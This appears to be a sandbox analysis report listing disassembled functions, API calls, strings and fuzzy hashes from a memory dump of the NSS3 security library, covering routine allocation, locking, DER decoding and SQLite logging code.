PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction ID: 067482d12ba6637cb6d14ca54963ac54f3f92eb7a25781c4b4bfb7c1c1c6bd75
Opcode Fuzzy Hash: 35ec7e05b92d6279d58eb15832c97f75ff31824f62fce96e2a762bc5e4bc6ef4
Instruction Fuzzy Hash: 52F0AFB59002147BEB003BA1AC4EC9F3E2DDF82266F044034FD0956A02DA36E91496B6

Function 6C6C4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C4DCB

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C6C4DE1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C6C4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C6C4E59

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C78300C,00000000), ref: 6C6C4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C6C4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C6C4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C521A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction ID: e0e16157fa520ecd96ba953d81e385f55c060dd23c6a341fb9fac20bfd61f9dd
Opcode Fuzzy Hash: b8f62f1b4c5336cd0e0a1e61c7dda2e004e718cdcfa28ab69f74114934b92c98
Instruction Fuzzy Hash: 3DF1AE71F00209CBDB04CF54D8407AEB7B2FF89358F254129D915AB781EB75E982CB96

Function 6C654FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65502A
PR_NewLock.NSS3(00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655034
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C655055
PL_NewHashTable.NSS3(00000000,6C6AFE80,6C6AFD30,6C6FC350,00000000,00000000,?,00000001,00000000,6C7A0148,?,6C666FEC), ref: 6C65506D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction ID: ee6e71a34298829745ec6e91d28c914b236e885fa2d0bb1f24da0190ea055af9
Opcode Fuzzy Hash: 657b7862050c67390604c55c5e761525ef831130b41578b44c200cb070fcf3ba
Instruction Fuzzy Hash: F331D0B1B03214ABEF109EA58C4CF4B3AB8EB13388F754135EA0993A40D3759815CBED

Function 6C5F2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5F3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5F3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F3022, 6C5F3156, 6C5F3162, 6C5F318A, 6C5F3196, 6C5F31A2, 6C5F31AE, 6C5F31BA, 6C5F31C6
%s at line %d of [%.10s], xrefs: 6C5F3171
database corruption, xrefs: 6C5F316C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction ID: d1b011660477391cc7a9f5b0f0bbebeb8affa978236d4a80e2e58842c69b1bfd
Opcode Fuzzy Hash: f209f4f267df034bb0c6e3f1f2d3620019c51563013d68106f2847a441859bb6
Instruction Fuzzy Hash: 7CB18EB0E052199BEB08CF9DCC85AEEB7B1BF48304F14442AE855B7B41D7749942CFA5

Function 6C642D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C642D69

Strings

vl, xrefs: 6C642DD0
Pvl, xrefs: 6C642E74, 6C642EC5, 6C642F32, 6C642F5C
winTruncate2, xrefs: 6C642EF8
@vl, xrefs: 6C642E24
winSeekFile, xrefs: 6C642E9C
winUnmapfile2, xrefs: 6C642F7F
winUnmapfile1, xrefs: 6C642F55
winTruncate1, xrefs: 6C642EBE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __allrem
String ID: @vl$Pvl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$vl
API String ID: 2933888876-684076108
Opcode ID: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction ID: 80ab5f505efdc68576e666db2f6006c06c34b1435f198a07b7743e7e67104344
Opcode Fuzzy Hash: 17f7980f34df5fe855fe4c4724e94b77a5d109bdf74fb81ff03301fe246680fd
Instruction Fuzzy Hash: CA61AE71A002099FDB04CF68DC98AAA7BB1FF49314F20C139E915DB780EB31AD16CB94

Function 6C66FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C66FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C66FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C66FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C66FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C66FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C66FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C66FD84

Strings

:, xrefs: 6C66FD78

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8695da660f851be156a88b45b8b83a1e4dbb0741b0341d369457b6ea31133a53
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2331B1B69002159BEB008AA6DD097AFB7E8EF45358F150134DD14A7F00E772E918C7EB

Function 6C650F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C650F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C650F84

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C66F59B,6C77890C,?), ref: 6C650FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C650FC1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C650FDB
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C650FEF
PL_FreeArenaPool.NSS3(?), ref: 6C651001
PL_FinishArenaPool.NSS3(?), ref: 6C651009

Strings

security, xrefs: 6C650F5C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction ID: 2f33a5cedb1597c5d48c7ea9df9e61b681385f2f1f7db252b210df549799a561
Opcode Fuzzy Hash: a433b45c742e488d2a6df581c2e326a8701be74dd1531833b9f5cb554e98013b
Instruction Fuzzy Hash: 3B21F7B1904204ABE7109F25DD40EABB7B4EF4525CF148518FC1897601F731D965CBA6

Function 6C656DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C657D8F,6C657D8F,?,?), ref: 6C656DC8

Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08
Part of subcall function 6C6AFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D
Part of subcall function 6C6AFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C657D8F,?,?), ref: 6C656DD5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FA0,00000000,?,?,?,?,6C657D8F,?,?), ref: 6C656DF7

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656E35

Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
Part of subcall function 6C6AFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
Part of subcall function 6C6AFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656E4C

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656E82

Part of subcall function 6C656AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C65B21D,00000000,00000000,6C65B219,?,6C656BFB,00000000,?,00000000,00000000,?,?,?,6C65B21D), ref: 6C656B01
Part of subcall function 6C656AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C656B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C656F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C656F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C778FE0,00000000), ref: 6C656F6B
PR_SetError.NSS3(FFFFE005,00000000,6C657D8F,?,?), ref: 6C656FE1

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction ID: 954080093538478ea8aa8c816fb3a002fcd3cdbe785f486965df41281d5e056a
Opcode Fuzzy Hash: 559510ebaea87afb963f465e8f7bc70f1fd3d7dcc70dc9d207186dbce87f4748
Instruction Fuzzy Hash: D971C471E102469FEB00CF55CD40BAABBA5FF95308F654229E808D7B11F731EAA5CB94

Function 6C690FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C691057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C691085
PK11_GetAllTokens.NSS3 ref: 6C6910B1
free.MOZGLUE(?), ref: 6C691107
PR_SetError.NSS3(00000000,00000000), ref: 6C691172
free.MOZGLUE(?), ref: 6C691182
free.MOZGLUE(?), ref: 6C6911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6911C5

Part of subcall function 6C6952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C6952DF
Part of subcall function 6C6952C0: EnterCriticalSection.KERNEL32(?), ref: 6C6952F3
Part of subcall function 6C6952C0: PR_Unlock.NSS3(?), ref: 6C695358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6911F3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction ID: d3ab3c2114e30ecdde700b60d2a5752555544179803c2334b1a50a5d0e0518d9
Opcode Fuzzy Hash: 1bc08763ea044f039ee64c84b7db9da5741b7d54031a55be5b23d1de1edf8f9c
Instruction Fuzzy Hash: D061B8B0E043469BEB00DFA4DC45BAEB7B9BF05348F244168EC19AB741EB31D944CB59

Function 6C69ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEF1
free.MOZGLUE(6C67CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67CDBB,?), ref: 6C69AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AF30

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction ID: fad65b32663147227c57ded8a907e7b1eb6ab56e4576f81340de2afdef39f978
Opcode Fuzzy Hash: 7d070ac6818285caa09de712b2d8941891f45d729627f49e504059afdae77fe9
Instruction Fuzzy Hash: 57517CB1E00602AFDB019F29D884B6AB7F4BF09318F144664E81997E12E731E865DBD9

Function 6C674CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C67AB7F,?,00000000,?), ref: 6C674CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C67AB7F,?,00000000,?), ref: 6C674CC8
TlsGetValue.KERNEL32(?,6C67AB7F,?,00000000,?), ref: 6C674CE0
EnterCriticalSection.KERNEL32(?,?,6C67AB7F,?,00000000,?), ref: 6C674CF4
PL_HashTableLookup.NSS3(?,?,?,6C67AB7F,?,00000000,?), ref: 6C674D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C674D10

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C674D26

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
